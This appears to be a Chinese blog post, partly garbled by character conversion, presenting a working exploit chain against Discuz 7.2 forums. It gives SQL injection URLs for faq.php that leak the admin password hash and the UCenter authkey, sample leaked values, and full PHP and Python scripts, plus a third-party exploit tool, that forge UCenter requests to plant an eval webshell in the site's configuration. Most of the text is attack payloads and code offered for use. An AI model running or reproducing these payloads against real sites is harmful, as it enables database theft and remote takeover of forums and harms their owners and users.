6.2号码（可能更早）上网本见exp，是一家discuz 7.2的sql注入漏洞
经过反复研究。最高在线人数exp它们存在于这些或那些问题，经过我自己的使用和变更摘要，使用的方法如以下：
Discuz 7.2 /faq.php SQL注入漏洞
1.获取数据库版本号信息
faq.php?
action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema
.tables group by x)a)%23
2.获取管理员账户password
faq.php?
action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat((select (select (select concat(username,0x27,password) from cdb_members limit 1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables
group by x)a)%23
要去掉最后的1
如：
http://XXXXX/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat((select%20(select%20(select%20concat(username,0x27,password)%20from%20cdb_members%20limit%201)%20)%20from%20`information_schema`.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23
返回：
Error: Duplicate entry 'admin'f426eaa50a5c805d360ca4046419c6ba1' for key 'group_key'
密文就是f426eaa50a5c805d360ca4046419c6ba
3.获取key
faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select substr(authkey,1,62) from cdb_uc_applications limit 0,1),0x3a)x from information_schema.tables group by x)a)%23
faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select substr(authkey,63,64) from cdb_uc_applications limit 0,1),0x3a)x from information_schema.tables group by x)a)%23
这里须要注意
因为authkey的长度限制，仅仅能是62个长度单位，而且因为不能改动exp内容（改动后不能暴库）。所以採用两次获取的的方法。先获取前62位，在获取后2位
如
http://XXXXX/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x3a,(select%20substr(authkey,1,62)%20from%20cdb_uc_applications%20limit%200,1),0x3a)x%20from%20information_schema.tables%20group%20by%20x)a)%23
返回：
Error: Duplicate entry '1:C7e2Fa170467q8sbX4ud77Masbr0W7v7Acg9Q9b4i1Lezat8i0d9Ebj5p6Q2se' for key 'group_key'
http://XXXX/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x3a,(select%20substr(authkey,63,64)%20from%20cdb_uc_applications%20limit%200,1),0x3a)x%20from%20information_schema.tables%20group%20by%20x)a)%23
返回：
Error: Duplicate entry '1:o6:' for key 'group_key'
最后的key就是"C7e2Fa170467q8sbX4ud77Masbr0W7v7Acg9Q9b4i1Lezat8i0d9Ebj5p6Q2se"+"o6"=C7e2Fa170467q8sbX4ud77Masbr0W7v7Acg9Q9b4i1Lezat8i0d9Ebj5p6Q2seo6
获得了hash和key之后本想參考那利用key getshell的办法，但一看是x2 x2.5 x3的利用漏洞，一共同拥有两个版本号的
PHP 版
<?php
// 代码版权归原作者全部！
$timestamp = time()+10*3600;
$host="127.0.0.1";
$uc_key="eapf15K8b334Bc8eBeY4Gfn1VbqeA0N5Waofq6J285Ca33i151e551g0l9f2l3dd";
$code=urlencode(_authcode("time=$timestamp&action=updateapps", 'ENCODE', $uc_key));
$cmd1='<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="UC_API">http://xxx');eval($_POST[DOM]);//</item>
</root>';
$cmd2='<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="UC_API">http://aaa</item>
</root>';
$html1 = send($cmd1);
echo $html1;
$html2 = send($cmd2);
echo $html2;
function send($cmd){
global $host,$code;
$message = "POST /api/uc.php?code=".$code." HTTP/1.1
";
$message .= "Accept: */*
";
$message .= "Referer: ".$host."
";
$message .= "Accept-Language: zh-cn
";
$message .= "Content-Type: application/x-www-form-urlencoded
";
$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)
";
$message .= "Host: ".$host."
";
$message .= "Content-Length: ".strlen($cmd)."
";
$message .= "Connection: Close
";
$message .= $cmd;
//var_dump($message);
$fp = fsockopen($host, 80);
fputs($fp, $message);
$resp = '';
while ($fp && !feof($fp))
$resp .= fread($fp, 1024);
return $resp;
}
function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;
$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ?
($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ?
$expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
}
}
?>
一个paython版
#! /usr/bin/env python
#coding=utf-8
import hashlib
import time
import math
import base64
import urllib
import urllib2
import sys
def microtime(get_as_float = False) :
if get_as_float:
return time.time()
else:
return '%.8f %d' % math.modf(time.time())
def get_authcode(string, key = ''):
ckey_length = 4
key = hashlib.md5(key).hexdigest()
keya = hashlib.md5(key[0:16]).hexdigest()
keyb = hashlib.md5(key[16:32]).hexdigest()
keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:]
#keyc = (hashlib.md5('0.736000 1389448306').hexdigest())[-ckey_length:]
cryptkey = keya + hashlib.md5(keya+keyc).hexdigest()
key_length = len(cryptkey)
string = '0000000000' + (hashlib.md5(string+keyb)).hexdigest()[0:16]+string
string_length = len(string)
result = ''
box = range(0, 256)
rndkey = dict()
for i in range(0,256):
rndkey[i] = ord(cryptkey[i % key_length])
j=0
for i in range(0,256):
j = (j + box[i] + rndkey[i]) % 256
tmp = box[i]
box[i] = box[j]
box[j] = tmp
a=0
j=0
for i in range(0,string_length):
a = (a + 1) % 256
j = (j + box[a]) % 256
tmp = box[a]
box[a] = box[j]
box[j] = tmp
result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256]))
return keyc + base64.b64encode(result).replace('=', '')
def get_shell(url,key,host):
'''
发送命令获取webshell
'''
headers={'Accept-Language':'zh-cn',
'Content-Type':'application/x-www-form-urlencoded',
'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)',
'Referer':url
}
tm = time.time()+10*3600
tm="time=%d&action=updateapps" %tm
code = urllib.quote(get_authcode(tm,key))
url=url+"?code="+code
data1='''<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="UC_API">http://xxx');eval($_POST[1]);//</item>
</root>'''
try:
req=urllib2.Request(url,data=data1,headers=headers)
ret=urllib2.urlopen(req)
except:
return "訪问出错"
data2='''<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="UC_API">http://aaa</item>
</root>'''
try:
req=urllib2.Request(url,data=data2,headers=headers)
ret=urllib2.urlopen(req)
except:
return "error"
return "webshell:"+host+"/config/config_ucenter.php,password:1"
if __name__ == '__main__':
host=sys.argv[1]
key=sys.argv[2]
url=host+"/api/uc.php"
print get_shell(url,key,host)
用法：
python uckey.py http://www.localhost.com/ uckey |
可是发现好像不能通杀7.2。getshell并没有成功，不知道为什么，还请大家多不吝赐教。
最后附上“小马”的exp。但效果也不理想。大致远离同上，可是貌似也不能getshell
<?php /** * @author: xiaoma * @blog : www.i0day.com * @date : 2014.7.2 23:1 */ error_reporting(0); set_time_limit(3000); $host=$argv[1]; $path=$argv[2]; $js=$argv[3]; $timestamp = time()+10*3600; $table="cdb_";//表名 if ($argc < 2) { print_r(' ******************************************************** * Discuz faq.php SQL Injection Exp * * ---------By：Www.i0day.com----------- * * Usage: php '.$argv[0].' url 1 * * ------------------------------------- * * js选项: 1.GetShell 2.取密码 3.查表前缀 * * * * php '.$argv[0].' Www.i0day.com / 1 * * php '.$argv[0].' Www.i0day.com /dz72/ 1 * * * * * ******************************************************** '); exit; } if($js==1){ $sql="action=grouppermission&gids[99]='&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x3a3a,(select%20length(authkey)%20from%20".$table."uc_applications%20limit%200,1),0x3a3a)x%20from%20information_schema.tables%20group%20by%20x)a)%23"; $resp = sendpack($host,$path,$sql); if(strpos($resp,"::")==-1){ echo '表前缀可能不是默认cdb_ 请先查看表前缀！
'; }else{ preg_match("/::(.*)::/",$resp,$matches); $lenght=intval($matches[1]); if($lenght){ if($lenght<=124){ $sql="action=grouppermission&gids[99]='&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x5E,(select%20substr(authkey,1,62)%20from%20".$table."uc_applications%20limit%200,1))x%20from%20information_schema.tables%20group%20by%20x)a)%23"; $resp = sendpack($host,$path,$sql); if(strpos($resp,"1^")!=-1){ preg_match("/1^(.*)'/U",$resp,$key1); $sql="action=grouppermission&gids[99]='&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x5E,(select%20substr(authkey,63,62)%20from%20".$table."uc_applications%20limit%200,1))x%20from%20information_schema.tables%20group%20by%20x)a)%23"; $resp = sendpack($host,$path,$sql); preg_match("/1^(.*)'/U",$resp,$key2); $key=$key1[1].$key2[1]; $code=urlencode(_authcode("time=$timestamp&action=updateapps", 'ENCODE', $key)); $cmd1='<?
xml version="1.0" encoding="ISO-8859-1"?
> <root> <item id="UC_API">bbs.49you.com');eval($_POST[i0day]);//</item> </root>'; $cmd2='<?xml version="1.0" encoding="ISO-8859-1"?> <root> <item id="UC_API">bbs.49you.com</item> </root>'; $html1 = send($cmd1); $res1=substr($html1,-1); $html2 = send($cmd2); $res2=substr($html1,-1); if($res1=='1'&&$res2=='1'){ echo "shell地址：http://".$host.$path.'config.inc.php pass:i0day'; } }else{ echo '获取失败'; } } } } }elseif($js==2){ $sql="action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%20concat%280x5E5E5E,username,0x3a,password,0x3a,salt%29%20from%20".$table."uc_members%20limit%200,1%29,floor%28rand%280%29*2%29,0x5E%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23"; $resp = sendpack($host,$path,$sql); if(strpos($resp,"^^^")!=-1){ preg_match("/^^^(.*)^/U",$resp,$password); echo '密码：'.$password[1]; }else{ echo '表前缀可能不是默认cdb_ 请先查看表前缀！'; } }elseif($js==3){ $sql="action=grouppermission&gids[99]='&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x5E,(select%20hex(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%20limit%201,1),0x5E)x%20from%20information_schema%20.tables%20group%20by%20x)a)%23"; $resp = sendpack($host,$path,$sql); if(strpos($resp,"1^")!=-1){ preg_match("/1^(.*)^/U",$resp,$t); if(strpos($t[1],"cdb_")!=-1){ echo "表名为：".hex2str($t[1])." 表前缀为默认cdb_ 无需改动"; }else{ echo "表名：".hex2str($t[1]).' 不是默认表名cdb_请自行改动代码中的$table'; } }else{ echo "查看表前缀失败,Sorry"; } }else{ echo "未选择脚本功能"; } function sendpack($host,$path,$sql,$js){ $data = "GET ".$path."/faq.php?".$sql." HTTP/1.1 "; $data.="Host:".$host." "; $data.="User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:20.0) Gecko/20100101 Firefox/20.0 "; $data.="Connection: close "; //$data.=$html." "; $ock=fsockopen($host,80); if(!$ock){ echo "No response from ".$host; die(); } fwrite($ock,$data); $resp = ''; while (!feof($ock)) { $resp.=fread($ock, 1024); } return $resp; } function send($cmd){ global $host,$code,$path; $message = "POST ".$path."/api/uc.php?
code=".$code." HTTP/1.1 "; $message .= "Accept: */* "; $message .= "Referer: ".$host." "; $message .= "Accept-Language: zh-cn "; $message .= "Content-Type: application/x-www-form-urlencoded "; $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1) "; $message .= "Host: ".$host." "; $message .= "Content-Length: ".strlen($cmd)." "; $message .= "Connection: Close "; $message .= $cmd; //var_dump($message); $fp = fsockopen($host, 80); fputs($fp, $message); $resp = ''; while ($fp && !feof($fp)) $resp .= fread($fp, 1024); return $resp; } function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) { $ckey_length = 4; $key = md5($key ?
$key : UC_KEY); $keya = md5(substr($key, 0, 16)); $keyb = md5(substr($key, 16, 16)); $keyc = $ckey_length ? ($operation == 'DECODE' ?
substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ''; $cryptkey = $keya.md5($keya.$keyc); $key_length = strlen($cryptkey); $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; $string_length = strlen($string); $result = ''; $box = range(0, 255); $rndkey = array(); for($i = 0; $i <= 255; $i++) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); } for($j = $i = 0; $i < 256; $i++) { $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } for($a = $j = $i = 0; $i < $string_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); } if($operation == 'DECODE') { if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) { return substr($result, 26); } else { return ''; } } else { return $keyc.str_replace('=', '', base64_encode($result)); } } function hex2str($hex){ $str = ''; $arr = str_split($hex, 2); foreach($arr as $bit){ $str .= chr(hexdec($bit)); } return $str; } ?
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